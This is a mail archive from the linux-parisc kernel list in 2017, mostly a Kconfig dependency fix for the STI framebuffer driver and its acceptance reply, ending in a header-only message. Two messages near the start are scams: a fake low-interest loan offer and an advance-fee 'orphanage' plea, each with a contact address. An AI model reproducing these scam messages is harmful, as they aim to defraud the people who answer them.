Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1423010AbdDUXJw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 21 Apr 2017 19:09:52 -0400
Original-Received: from mail.forsterkozpont.hu ([84.206.26.125]:51311 "EHLO
        mail.forsterkozpont.hu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1422779AbdDUXJw (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 21 Apr 2017 19:09:52 -0400
X-Greylist: delayed 16765 seconds by postgrey-1.27 at vger.kernel.org; Fri, 21 Apr 2017 19:09:51 EDT
Original-Received: from mail.forsterkozpont.hu (localhost [127.0.0.1])
        by zimbra.forsterkozpont.hu (Postfix) with ESMTP id 76C7418DF15;
        Fri, 21 Apr 2017 18:59:50 +0200 (CEST)
Original-Received: from zimbra.forsterkozpont.hu (zimbra.forsterkozpont.hu [192.168.99.11])
        by zimbra.forsterkozpont.hu (Postfix) with ESMTP id 0D1AD18ABBE;
        Fri, 21 Apr 2017 18:59:49 +0200 (CEST)
Original-Subject: 
X-Originating-IP: [116.203.77.151]
X-Mailer: Zimbra 8.0.4_GA_5737 (zclient/8.0.4_GA_5737)
Thread-Topic: 
Thread-Index: mazphiLBzRCHEfRBxYwVvOY2AJPNhg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27402>



We Give Out Loans At 3% Interest Rate And We Offer Loans From $5,000 To $50,000,000.00, Are You Looking To Buy A House Car Or Company Or Start Up A Truck Company or Buy A Truck Or Personal Loans Or Business Loan, Email Us At jerryfunds11@inbox.lv  With Amount Needed And Phone Number.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Ms. Katherine" <ulia@distral.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: EXTREMELY IMPORTANT
Date: Mon, 24 Apr 2017 19:52:13 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20170424185220.509A651B3352__30267.3823586249$1493062867$gmane$org@mail.distral.ro>
Reply-To: kathrynnmison@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1493062867 8868 195.159.176.226 (24 Apr 2017 19:41:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 24 Apr 2017 19:41:07 +0000 (UTC)
To: Recipients <ulia@distral.ro>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 24 21:41:02 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d2jr3-0007he-92
	for glpp-linux-parisc@m.gmane.org; Mon, 24 Apr 2017 21:41:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S973112AbdDXTlE convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 24 Apr 2017 15:41:04 -0400
Original-Received: from mail.distral.ro ([5.2.192.160]:51742 "EHLO mail.distral.ro"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S972945AbdDXTlA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 24 Apr 2017 15:41:00 -0400
X-Greylist: delayed 2677 seconds by postgrey-1.27 at vger.kernel.org; Mon, 24 Apr 2017 15:40:58 EDT
Original-Received: from DESKTOP-6AEM39V..home (unknown [41.245.195.138])
        by mail.distral.ro (Postfix) with ESMTP id 509A651B3352;
        Mon, 24 Apr 2017 16:52:20 -0200 (GMT+2)
Content-Description: Mail message body
X-Antivirus: Avast (VPS 170424-0, 24/04/2017), Outbound message
X-Antivirus-Status: Clean
X-Distral-MailScanner-Information: Please contact the ISP for more information
X-Distral-MailScanner-ID: 509A651B3352.ACCE5
X-Distral-MailScanner: Found to be clean
X-Distral-MailScanner-From: ulia@distral.ro
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27403>

Dear Beloved, Sorry for the inconvenience, I am getting in touch with you regarding an extremely important and urgent matter, Please I need your urgent assistance and idea to finish up a project (Orphanage Home) Due to my health condition, Everything is available to finish up the project, All I need is your idea and trust.

Sehr geehrte Geliebte, traurig fr die Unannehmlichkeiten, ich bin in Kontakt mit Ihnen ber eine uerst wichtige und dringende Angelegenheit, Bitte brauche ich Ihre dringende Hilfe und Idee, um ein Projekt zu beenden (Orphanage Home) Wegen meines Gesundheitszustandes ist alles verfgbar Beenden Sie das Projekt, Alles was ich brauche ist Ihre Idee und Vertrauen.

Please contact me for more details.
Contact Email: kathrynnmison@gmail.com

Thanks

---
This email has been checked for viruses by Avast antivirus software.
https://www.avast.com/antivirus


-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fbdev: sti: don't select CONFIG_VT
Date: Fri, 28 Apr 2017 21:51:25 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <20170428195151.57706-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1493409085 7102 195.159.176.226 (28 Apr 2017 19:51:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Apr 2017 19:51:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        jejb@parisc-linux.org, Alexander Beregalov <a.beregalov@gmail.com>,
        Arnd Bergmann <arnd@arndb.de>, linux-fbdev@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 28 21:51:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d4BvC-0007sE-Jr
	for glpp-linux-parisc@m.gmane.org; Fri, 28 Apr 2017 21:51:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1423274AbdD1TvY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 28 Apr 2017 15:51:24 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:52756 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1035424AbdD1TvX (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 28 Apr 2017 15:51:23 -0400
Original-Received: from wuerfel.lan ([78.42.17.5]) by mrelayeu.kundenserver.de
 (mreue104 [212.227.15.145]) with ESMTPA (Nemesis) id
 0MNtut-1d9wPh1DnH-007Rsh; Fri, 28 Apr 2017 21:51:14 +0200
X-Mailer: git-send-email 2.9.0
X-Provags-ID: V03:K0:a3XF0+tIIgBJOOUDbCDNRi+JsjuibzrJNaF4ZObw5PCLfwW1iTf
 WKgVZ+AuvIqr66piL6g4hj2N18OAzu7kg3zW+jGjWxT+hQt/9EgIZBxpIKhLW9nRCtRHqps
 BQ/mXU20kC4HJduUrBrQjmXKe1i0lcetFF9TqqJKvvaLhb9wsIpmmTApOuF9tSwutk9bF69
 gJvPSp9z0jC3KUCPjY94g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ut6NlqyT64U=:bGlX09XXSarg5R2odTS8w0
 qQfmewBEj9CtlXouHPY8F70DO44/DfLj4xff4UTyrYINa3uceiOK9kyAm8W5JtHP+PlyalQ2f
 n01rkw7c9fsFB0pQuJ0+pCV54wjj/QqSSyJYStgwnRkMIR8+hrXnUVw3X2kxHA5xq7P0RBTdV
 mwQYCIAxp2HJeiiZb2PhvKbYRXuX17N20JardCL32ynKzVUbFGB/59tRW1WkY5nvCY1i02NNH
 tOUI6N4KP84SguXFc3UTuq+AheYjYtf3YLtj9Vcsy+0cvnjHhkFDCDpTOaS7h3oFwXbcZmHhl
 1d5eGRpABwEYrxzJK3rN18N1PLTMXpc+8gRZhzKh0NXTgnfQ49a1HBbHz9NYTz+RMor9g6oy7
 wR7fYB/yBUKv9NA3buXAuqRgnalJng7N7YY4Px75tPRch0uzC076aEZGWrUhQoooUKAO3LsgH
 0Zxe9/hXpDhBsFxmB/DrP4hgWtZ8KDwFlfcQ5LjGj1seJiqqVnFqAcIrLJCdh+hFFYt1wAI3a
 Q8c05h1PVo2FRtwwG//pO2+hZSDsY+EOF40tkvF3I7Dg4V/mMCsznEpipDKumgVNi0SRQVFAH
 lkelX/h2CNvyS/JhUcfFq0Q5JrTb502LWSze1jmp/36yvuST+txg1k2NYsRV2TaX1pkKmpDSo
 a6F0pk/r1V5K6ri+ulc2myoNFN2N/D58Lt/eMpzvIJkYfYCt4TrakX+ZHCZUCHDbM+gc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27404 gmane.linux.kernel:2466129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27404>

While working on another build error, I ran into several variations of
this dependency loop:

subsection "Kconfig recursive dependency limitations"
drivers/input/Kconfig:8:	symbol INPUT is selected by VT
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/tty/Kconfig:12:	symbol VT is selected by FB_STI
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/video/fbdev/Kconfig:677:	symbol FB_STI depends on FB
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/video/fbdev/Kconfig:5:	symbol FB is selected by DRM_KMS_FB_HELPER
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/gpu/drm/Kconfig:72:	symbol DRM_KMS_FB_HELPER is selected by DRM_KMS_CMA_HELPER
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/gpu/drm/Kconfig:137:	symbol DRM_KMS_CMA_HELPER is selected by DRM_HDLCD
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/gpu/drm/arm/Kconfig:6:	symbol DRM_HDLCD depends on OF
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/of/Kconfig:4:	symbol OF is selected by X86_INTEL_CE
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
arch/x86/Kconfig:523:	symbol X86_INTEL_CE depends on X86_IO_APIC
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
arch/x86/Kconfig:1011:	symbol X86_IO_APIC depends on X86_LOCAL_APIC
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
arch/x86/Kconfig:1005:	symbol X86_LOCAL_APIC depends on X86_UP_APIC
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
arch/x86/Kconfig:980:	symbol X86_UP_APIC depends on PCI_MSI
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/pci/Kconfig:11:	symbol PCI_MSI is selected by AMD_IOMMU
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/iommu/Kconfig:106:	symbol AMD_IOMMU depends on IOMMU_SUPPORT
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/iommu/Kconfig:5:	symbol IOMMU_SUPPORT is selected by DRM_ETNAVIV
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/gpu/drm/etnaviv/Kconfig:2:	symbol DRM_ETNAVIV depends on THERMAL
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/thermal/Kconfig:5:	symbol THERMAL is selected by ACPI_VIDEO
For a resolution refer to Documentation/kbuild/kconfig-language.txt
subsection "Kconfig recursive dependency limitations"
drivers/acpi/Kconfig:183:	symbol ACPI_VIDEO is selected by INPUT

This doesn't currently show up as I fixed the 'THERMAL' part of it,
but I noticed that the FB_STI dependency should not be there but
was introduced by slightly incorrect bug-fix patch that tried to
fix a link error.

Instead of selecting 'VT' to make us enter the drivers/video/console
directory at compile-time, it's sufficient to build the
drivers/video/console/sticore.c file by adding its directory
to when CONFIG_FB_STI is enabled. Alternatively, we could move the
sticore code to another directory that is always built when we
have at STI_CONSOLE or FB_STI enabled.

Fixes: 17085a934592 ("parisc: stifb: should depend on STI_CONSOLE")
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/video/Makefile      | 1 +
 drivers/video/fbdev/Kconfig | 2 --
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/video/Makefile b/drivers/video/Makefile
index 9ad3c17d6456..445b2c230b56 100644
--- a/drivers/video/Makefile
+++ b/drivers/video/Makefile
@@ -2,6 +2,7 @@ obj-$(CONFIG_VGASTATE)            += vgastate.o
 obj-$(CONFIG_HDMI)                += hdmi.o
 
 obj-$(CONFIG_VT)		  += console/
+obj-$(CONFIG_FB_STI)		  += console/
 obj-$(CONFIG_LOGO)		  += logo/
 obj-y				  += backlight/
 
diff --git a/drivers/video/fbdev/Kconfig b/drivers/video/fbdev/Kconfig
index 4e36e14d878f..a5797a697114 100644
--- a/drivers/video/fbdev/Kconfig
+++ b/drivers/video/fbdev/Kconfig
@@ -680,8 +680,6 @@ config FB_STI
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select STI_CONSOLE
-	select VT
 	default y
 	---help---
 	  STI refers to the HP "Standard Text Interface" which is a set of
-- 
2.9.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fbdev: sti: don't select CONFIG_VT
Date: Fri, 05 May 2017 17:27:06 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <3242330.XRvUNh2arJ@amdc3058>
References: <CGME20170428195120epcas2p2792c14bbbd4cf86be1b84c7f3d0f2040@epcas2p2.samsung.com>
        <20170428195151.57706-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: blaine.gmane.org 1493998040 9683 195.159.176.226 (5 May 2017 15:27:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 5 May 2017 15:27:20 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.13.0-96-generic; KDE/4.13.3; x86_64; ; )
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        jejb@parisc-linux.org, Alexander Beregalov <a.beregalov@gmail.com>,
        linux-fbdev@vger.kernel.org, linux-kernel@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 05 17:27:15 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1d6f8U-0002Nv-AW
	for glk-linux-kernel-3@m.gmane.org; Fri, 05 May 2017 17:27:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754570AbdEEP1Q (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 5 May 2017 11:27:16 -0400
Original-Received: from mailout1.samsung.com ([203.254.224.24]:48291 "EHLO
        mailout1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753563AbdEEP1M (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 5 May 2017 11:27:12 -0400
Original-Received: from epcas1p3.samsung.com (unknown [182.195.41.47])
        by mailout1.samsung.com (KnoxPortal) with ESMTP id 20170505152709epoutp013adcdaf5a03ed8787385d647b4ce731e~7v0rNQXxt2193121931epoutp014;
        Fri,  5 May 2017 15:27:09 +0000 (GMT)
Original-Received: from epsmges1p5.samsung.com (unknown [182.195.42.57]) by
        epcas1p2.samsung.com (KnoxPortal) with ESMTP id
        20170505152709epcas1p219eaccd150184dde8ed18cd5828eca23~7v0q_vVkg1748717487epcas1p2w;
        Fri,  5 May 2017 15:27:09 +0000 (GMT)
Original-Received: from epcas1p1.samsung.com ( [182.195.41.45]) by
        epsmges1p5.samsung.com (Symantec Messaging Gateway) with SMTP id
        F6.D0.03717.DC99C095; Sat,  6 May 2017 00:27:09 +0900 (KST)
Original-Received: from epsmgms2p1.samsung.com (unknown [182.195.42.79]) by
        epcas1p1.samsung.com (KnoxPortal) with ESMTP id
        20170505152708epcas1p1b20549a0e87b1fd13c414737081f3cdf~7v0qzBWRi0218602186epcas1p1_;
        Fri,  5 May 2017 15:27:08 +0000 (GMT)
X-AuditID: b6c32a39-f790c6d000000e85-29-590c99cdae22
Original-Received: from epmmp1.local.host ( [203.254.227.16]) by
        epsmgms2p1.samsung.com (Symantec Messaging Gateway) with SMTP id
        37.7D.02179.CC99C095; Sat,  6 May 2017 00:27:08 +0900 (KST)
Original-Received: from amdc3058.localnet ([106.120.53.102]) by mmp1.samsung.com
        (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5
        2014)) with ESMTPA id <0OPH00EMLK97NT10@mmp1.samsung.com>; Sat, 06 May 2017
        00:27:08 +0900 (KST)
In-reply-to: <20170428195151.57706-1-arnd@arndb.de>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFprAKsWRmVeSWpSXmKPExsWy7bCmru7ZmTyRBnsXsFvM2j6B3eLvpGPs
        Fvc/3Wa0uL9uFavFib4PrBaXd81hs3h06gKTA7vH71+TGD12zrrL7vHhY5zHhUW/WT0+b5IL
        YI3isklJzcksSy3St0vgymi98oGpYJ1yxbTPT5gaGE/JdTFyckgImEhMO3OKCcIWk7hwbz1b
        FyMXh5DADkaJs0/+sEA4nxklfs9rYYfpOL/zKzNc1ak/l6BavjJKfJm5jgWkik3ASmJi+ypG
        EFtEQFFi6otnYB3MAgcZJS53vAQbJSxgLtF79QeYzSKgKtF64DpQMwcHr4CmxMn74iBhUQEv
        iS372plAwpwCxhLbXmeChHkFBCV+TL4HtopZQF5i3/6prBC2jsTZY+sYIQ6dxy7R9VMLpFVC
        QFZi0wFmiLCLxLnvb9kgbGGJV8e3QP0lJdH48iE0JKYzSmz/LQFysYTAZkaJVbsnQBVZSxw+
        fhFqF5/Eu689rBDzeSU62oQgSjwkTi2aCjXfUaLvzWcwW0igjVGi+XLYBEb5WUg+mIXkg1lI
        PljAyLyKUSy1oDg3PbXYsMBUrzgxt7g0L10vOT93EyM4nWhZ7mA8ds7nEKMAB6MSD6+HC3ek
        EGtiWXFl7iFGCQ5mJRHemBk8kUK8KYmVValF+fFFpTmpxYcYpTlYlMR5RddfixASSE8sSc1O
        TS1ILYLJMnFwSjUwyizMeSjemphQrL+i/s8kudkRPq8Ftvzns3ihX1t672l/1N/5590/ 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFlrGIsWRmVeSWpSXmKPExsVy+t9jAd0zM3kiDW5ssLCYtX0Cu8XfScfY
        Le5/us1ocX/dKlaLE30fWC0u75rDZvHo1AUmB3aP378mMXrsnHWX3ePDxziPC4t+s3p83iQX
        wBrlZpORmpiSWqSQmpecn5KZl26rFBripmuhpJCXmJtqqxSh6xsSpKRQlphTCuQZGaABB+cA
        92AlfbsEt4zWKx+YCtYpV0z7/ISpgfGUXBcjJ4eEgInE+Z1fmSFsMYkL99azdTFycQgJbGOU
        eDbxPhOE85VR4u/EhewgVWwCVhIT21cxgtgiAooSU188YwYpYhY4yCixYdZKNpCEsIC5RO/V
        H2ANLAKqEq0HrrN0MXJw8ApoSpy8Lw4SFhXwktiyr50JJMwpYCyx7XUmxK4ORomX+5aCXcQr
        ICjxY/I9FhCbWUBeYt/+qawQtpbE+p3HmSYwCsxCUjYLSdksJGULGJlXMXKlFhTnpucWGxUY
        bmIExtG2w1r+Oxh/nI0+xCjAwajEw8vRzBMpxJpYVlyZe4hRgoNZSYQ3ZgZQiDclsbIqtSg/
        vqg0J7X4EKMp0EcTmaVEk/OBMZ5XEm9oYmlkYmBmZmhkYGymJM47IfBLhJBAemJJanZqakFq
        EUwfEwenVANjMnvvjFgen4h3h91NvRlKnf9cWP/l/o3uXTcall+2ttzzmFXWte509ourNVwi
        ZtIzTJa0zz3MHe77ahPTm7O67btUvZmvV22qbf90XnO/beTZXonZrqbfMtxlF1Q0vT73 
X-MTR: 20000000000000000@CPGS
X-CMS-MailID: 20170505152708epcas1p1b20549a0e87b1fd13c414737081f3cdf
X-Msg-Generator: CA
X-Sender-IP: 182.195.42.79
X-Local-Sender: =?UTF-8?B?QmFydGxvbWllaiBab2xuaWVya2lld2ljehtTUlBPTC1LZXJu?=
        =?UTF-8?B?ZWwgKFRQKRvsgrzshLHsoITsnpAbU2VuaW9yIFNvZnR3YXJlIEVuZ2luZWVy?=
X-Global-Sender: =?UTF-8?B?QmFydGxvbWllaiBab2xuaWVya2lld2ljehtTUlBPTC1LZXJu?=
        =?UTF-8?B?ZWwgKFRQKRtTYW1zdW5nIEVsZWN0cm9uaWNzG1NlbmlvciBTb2Z0d2FyZSBF?=
        =?UTF-8?B?bmdpbmVlcg==?=
X-Sender-Code: =?UTF-8?B?QzEwG0VIURtDMTBDRDAyQ0QwMjczOTI=?=
CMS-TYPE: 101P
X-CMS-RootMailID: 20170428195120epcas2p2792c14bbbd4cf86be1b84c7f3d0f2040
X-RootMTR: 20170428195120epcas2p2792c14bbbd4cf86be1b84c7f3d0f2040
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2469616 gmane.linux.ports.parisc:27405
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2469616>

On Friday, April 28, 2017 09:51:25 PM Arnd Bergmann wrote:
> While working on another build error, I ran into several variations of
> this dependency loop:
> 
> subsection "Kconfig recursive dependency limitations"
> drivers/input/Kconfig:8:	symbol INPUT is selected by VT
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/tty/Kconfig:12:	symbol VT is selected by FB_STI
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/video/fbdev/Kconfig:677:	symbol FB_STI depends on FB
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/video/fbdev/Kconfig:5:	symbol FB is selected by DRM_KMS_FB_HELPER
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/gpu/drm/Kconfig:72:	symbol DRM_KMS_FB_HELPER is selected by DRM_KMS_CMA_HELPER
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/gpu/drm/Kconfig:137:	symbol DRM_KMS_CMA_HELPER is selected by DRM_HDLCD
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/gpu/drm/arm/Kconfig:6:	symbol DRM_HDLCD depends on OF
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/of/Kconfig:4:	symbol OF is selected by X86_INTEL_CE
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> arch/x86/Kconfig:523:	symbol X86_INTEL_CE depends on X86_IO_APIC
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> arch/x86/Kconfig:1011:	symbol X86_IO_APIC depends on X86_LOCAL_APIC
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> arch/x86/Kconfig:1005:	symbol X86_LOCAL_APIC depends on X86_UP_APIC
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> arch/x86/Kconfig:980:	symbol X86_UP_APIC depends on PCI_MSI
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/pci/Kconfig:11:	symbol PCI_MSI is selected by AMD_IOMMU
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/iommu/Kconfig:106:	symbol AMD_IOMMU depends on IOMMU_SUPPORT
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/iommu/Kconfig:5:	symbol IOMMU_SUPPORT is selected by DRM_ETNAVIV
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/gpu/drm/etnaviv/Kconfig:2:	symbol DRM_ETNAVIV depends on THERMAL
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/thermal/Kconfig:5:	symbol THERMAL is selected by ACPI_VIDEO
> For a resolution refer to Documentation/kbuild/kconfig-language.txt
> subsection "Kconfig recursive dependency limitations"
> drivers/acpi/Kconfig:183:	symbol ACPI_VIDEO is selected by INPUT
> 
> This doesn't currently show up as I fixed the 'THERMAL' part of it,
> but I noticed that the FB_STI dependency should not be there but
> was introduced by slightly incorrect bug-fix patch that tried to
> fix a link error.
> 
> Instead of selecting 'VT' to make us enter the drivers/video/console
> directory at compile-time, it's sufficient to build the
> drivers/video/console/sticore.c file by adding its directory
> to when CONFIG_FB_STI is enabled. Alternatively, we could move the
> sticore code to another directory that is always built when we
> have at STI_CONSOLE or FB_STI enabled.
> 
> Fixes: 17085a934592 ("parisc: stifb: should depend on STI_CONSOLE")
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>

Patch queued for 4.12, thanks.

Best regards,
--
Bartlomiej Zolnierkiewicz
Samsung R&D Institute Poland
Samsung Electronics



From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ide,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] ide: don't call memcpy with the same source and
 destination
Date: Mon, 08 May 2017 17:37:21 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20170508.173721.1587256787895455007.davem@davemloft.net>
References: <alpine.LRH.2.02.1704141433280.10706@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1494279443 1272 195.159.176.226 (8 May 2017 21:37:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 May 2017 21:37:23 +0000 (UTC)
Cc: linux-ide@vger.kernel.org, linux-kernel@vger.kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, dave.anglin@bell.net,
        linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-ide-owner@vger.kernel.org Mon May 08 23:37:19 2017
Return-path: <linux-ide-owner@vger.kernel.org>
